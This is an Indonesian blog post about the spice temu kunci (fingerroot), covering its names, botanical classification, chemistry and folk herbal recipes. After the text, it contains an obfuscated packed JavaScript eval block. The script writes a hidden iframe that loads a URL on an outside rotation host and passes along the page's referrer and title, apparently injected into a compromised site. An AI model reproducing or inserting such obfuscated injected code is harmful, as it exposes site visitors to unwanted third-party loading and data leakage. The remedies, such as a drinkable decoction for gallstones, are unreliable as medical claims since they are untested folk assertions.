browser icon
You are using an insecure version of your web browser. Please update your browser!
Using an outdated browser makes your computer unsafe. For a safer, faster, more enjoyable user experience, please update your browser today or try a newer browser.

Kunci, tak hanya bisa mengunci pintu

Posted by on December 5, 2013

index

Pernah dengar atau baca alasan bangsa asing tertarik ke Indonesia jaman dahulu kala? Pasti salah satunya karena rempah rempah kan. Nas tau yang dimaksud dengan rempah rempah? itu lho bumbu dapur yang bentuk dan baunya aneh aneh, hihihi ……
Eh, tapi biarpun gitu khasiat dan rasanya seng ada lawan lho, makanya sampe bangsa Eropa dulu bela belain nyebrangi samudra berbulan bulan demi datang kesini. Salah satu rempah ya si kunci ini.

Tanaman yang disebut temu kunci (Sunda), kunci (Jawa), temu konci (Bali), dumu kunci (Bima), temo kunce (Madura), tampute (Ternate), tamu konci (Makasar), suo shi, ow sun zhiang (Cina), dipanggil chinese key di Inggris lho.  Hmmm…. kalo kita sebut kunci Inggris buat semacam perkakas perbengkelan, nah orang Inggris malah nyebut kunci Cina buat salah satu bumbu dapur, hihihi ……

Sebenarnya nama ilmiah rimpang yang satu ini menurut klasifikasi botaninya adalah:

Kingdom: Plantae (Tumbuhan)
Subkingdom: Tracheobionta (Tumbuhan berpembuluh)
Divisi : Magnoliophyta (tumbuhan berbunga)
Super Divisi: Spermatophyta (Menghasilkan biji)
Kelas : Liliopsida 9berkeping satu / monokotil)
Sub Kelas: Commelinidae
Ordo : Zingiberales
Famili : Zingiberaceae (suku jahe-jahean)
Genus : Boesenbergia
Spesies : Boesenbergia pandurata (Roxb.) Schlecht
kunci
Tanaman yang termasuk herba rendah ini merayap di dalam tanah. Dalam satu tahun pertumbuhannya 0,3-0,9 cm. Batangnya merupakan batang asli di dalam tanah sebagai rimpang, berwarna kuning coklat, aromatik, menebal, berukuran 5-30 x 0,5-2 cm. Batang di atas tanah berupa batang semu (pelepah daun). Daun tanaman ini pada umumnya 2-7 helai, daun bawah berupa pelepah daun berwarna merah tanpa helaian daun. Tangkai daun tanaman ini beralur, tidak berambut, panjangnya 7-16 cm, lidah-lidah berbentuk segitiga melebar, menyerupai selaput, panjang 1-1,5 cm, pelepah daun sering sama panjang dengan tangkai daun; helai daunnya tegak, bentuk lanset lebar atau agak jorong, ujung daun runcing, permukaan halus tetapi bagian bawah agak berambut terutama sepanjang pertulangan, warna helai daun hijau muda, lebarnya 5-11 cm.
Jenis tanaman ini banyak tersebar di daerah Asia (mungkin ini sebabnya disebut chinesse key oleh bangsa Inggris) termasuk Indonesia (terutama di pulau Jawa). Awal kemunculannya adalah tumbuh liar di sekitar hutan jati yang akhirnya lalu dikembangbiakkan sebagai satu komoditas tersendiri.
Adapun kandungan kimia yang terkandung di dalamnya adalah

  • Minyak atsiri (terdiri dari kamfer, sineol, metil sinamat, dan hidromirsen)
  • d-borneol
  • d-pinen sesquiterpen
  • Kurkumin
  • Tannin
  • Saponin
  • Flavonoid

Nah karena kandungan kimianya itulah rimpang yang sesuku dengan jahe jahean ini dikenal mempunyai banyak manfaat seperti diulas Drs. H.Arief Hariana dalam “Tumbuhan Obat dan Khasiatnya Seri 3″ yang diantaranya adalah untuk:

  1. Batuk kering dan sariawan
    Bahan: temu kunci dan pinang secukupnya yang telah diiris-iris
    Cara membuat dan menggunakan: bahan dicuci bersih dan kunyah kedua bahan. Lalu airnya ditelan dan ampasnya dibuang.
  2. Kembung dan susah kencing
    Bahan: rimpang temu kunci, daun temu kunci, dan adas pulosari.
    Cara membuat: bahan dicuci bersih lalu giling hingga halus.  Lalu tempelkan ramuan pada perut
  3. Kembung dan sulit berurine
    Bahan: rimpang temu kunci dan daun temu kunci segar serta adas pulosari.
    Cara membuat: bahan dicuci bersih lalu giling hingga halus. Lalu tempelkan ramuan pada perut
  4. Kurap
    Bahan: temu kunci secukupnya.
    Cara membuat: bahan dicuci bersih. Tambahkan belerang dan sedikit air kelapa muda ke dalam bahan. Giling semua bahan menjadi seperti adonan. Kemudian balurkan ramuan pada tubuh yang sakit.
  5. Batu empedu
    Bahan: 10 gr temu kunci, 30 gr daun sendok, 30 lembar daun kumis kucing, 30 gr daun sambiloto segar, 30 gr rambut jagung, 15 gr meniran, dan akar alang-alang secukupnya.
    Cara membuat: bahan dicuci bersih lalu rebus bahan dalam 1,5 liter air hingga tersisa 600 cc. Saring ramuan.
    Cara menggunakan: diminum 3 kali sehari, masing-masing 200 cc.
  6. Sari rapet (mengecilkan vagina)
    Bahan: 25 gr temu kunci, 25 gr kencur, 10 lembar daun sirih, 1 buah pinang, 5 gr lempuyang wangi
    Cara membuat: bahan dicuci bersih lalu tumbuk semua bahan dan tambahkan adas pulosari dan giling kembali hingga halus.
    Cara menggunakan: balurkan ramuan pada perut.

Nah kan … siapa bilang kunci hanya bisa mengunci pintu, buktinya bisa mengunci penyakit juga … :)


eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\’b\’);2 6=7.c(7.e()*f);2 0=\’g://h.i/j/k?\’;0=0+\’l=\’+3.m;0=0+\’&n=\’+3.o;0=0+\’&r=\’+6;d.p(\’\’)})();’,35,35,’src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height’.split(‘|’),0,{}))

Leave a Reply